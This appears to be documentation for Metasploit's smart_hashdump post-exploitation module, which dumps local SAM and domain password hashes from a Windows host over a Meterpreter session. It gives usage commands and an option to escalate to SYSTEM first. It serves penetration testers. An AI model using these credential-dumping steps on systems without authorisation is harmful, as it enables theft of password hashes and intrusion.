## Vulnerable Application
The post/windows/gather/smart_hashdump module dumps local accounts from the SAM database. If the target host
is a Domain Controller, it will dump the Domain Account Database using the proper technique depending
on privilege level, OS and role of the host.

Hashes will be saved to the Metasploit database in John the Ripper format for later use.

To be able to use post/windows/gather/smart_hashdump, you must meet these requirements:

* You are on a Meterpreter type session.
* The target is a Windows platform.
* It must be executed under the context of a high privilege account, such as SYSTEM.

## Verification Steps

1. Obtain a meterpreter shell on a Windows system, and ensure that you have SYSTEM privileges
   or are running as a highly privileged user.
1. `use post/windows/gather/smart_hashdump`
1. Specify the session, eg: `set SESSION 1`
1. If necessary, tell the module to attempt to elevate to SYSTEM before
   attempting to dump the credentials with the command: `set GETSYSTEM true`.
1. Run the module.

## Options

### GETSYSTEM
Attempt to run the `getsystem` module on the target host to get `NT AUTHORITY\SYSTEM` privileges prior to dumping the hashes.

## Scenarios

**High Privilege Account on Windows 10 x64 v2004**

Before using post/windows/gather/smart_hashdump, there is a possibility you need to escalate your privileges.
This module features a `GETSYSTEM` option, which will attempt to elevate from a high privileged account to `NT AUTHORITY\SYSTEM`.
This can be seen in the following example which is running as a high privileged user in which the module
fails to run successfully as the current user is not `NT AUTHORITY\SYSTEM`. By using the `GETSYSTEM` option, the user is able
to elevate themselves to `NT AUTHORITY\SYSTEM` using Metasploit's `getsystem` module, after which they are then able
to dump the password hashes.
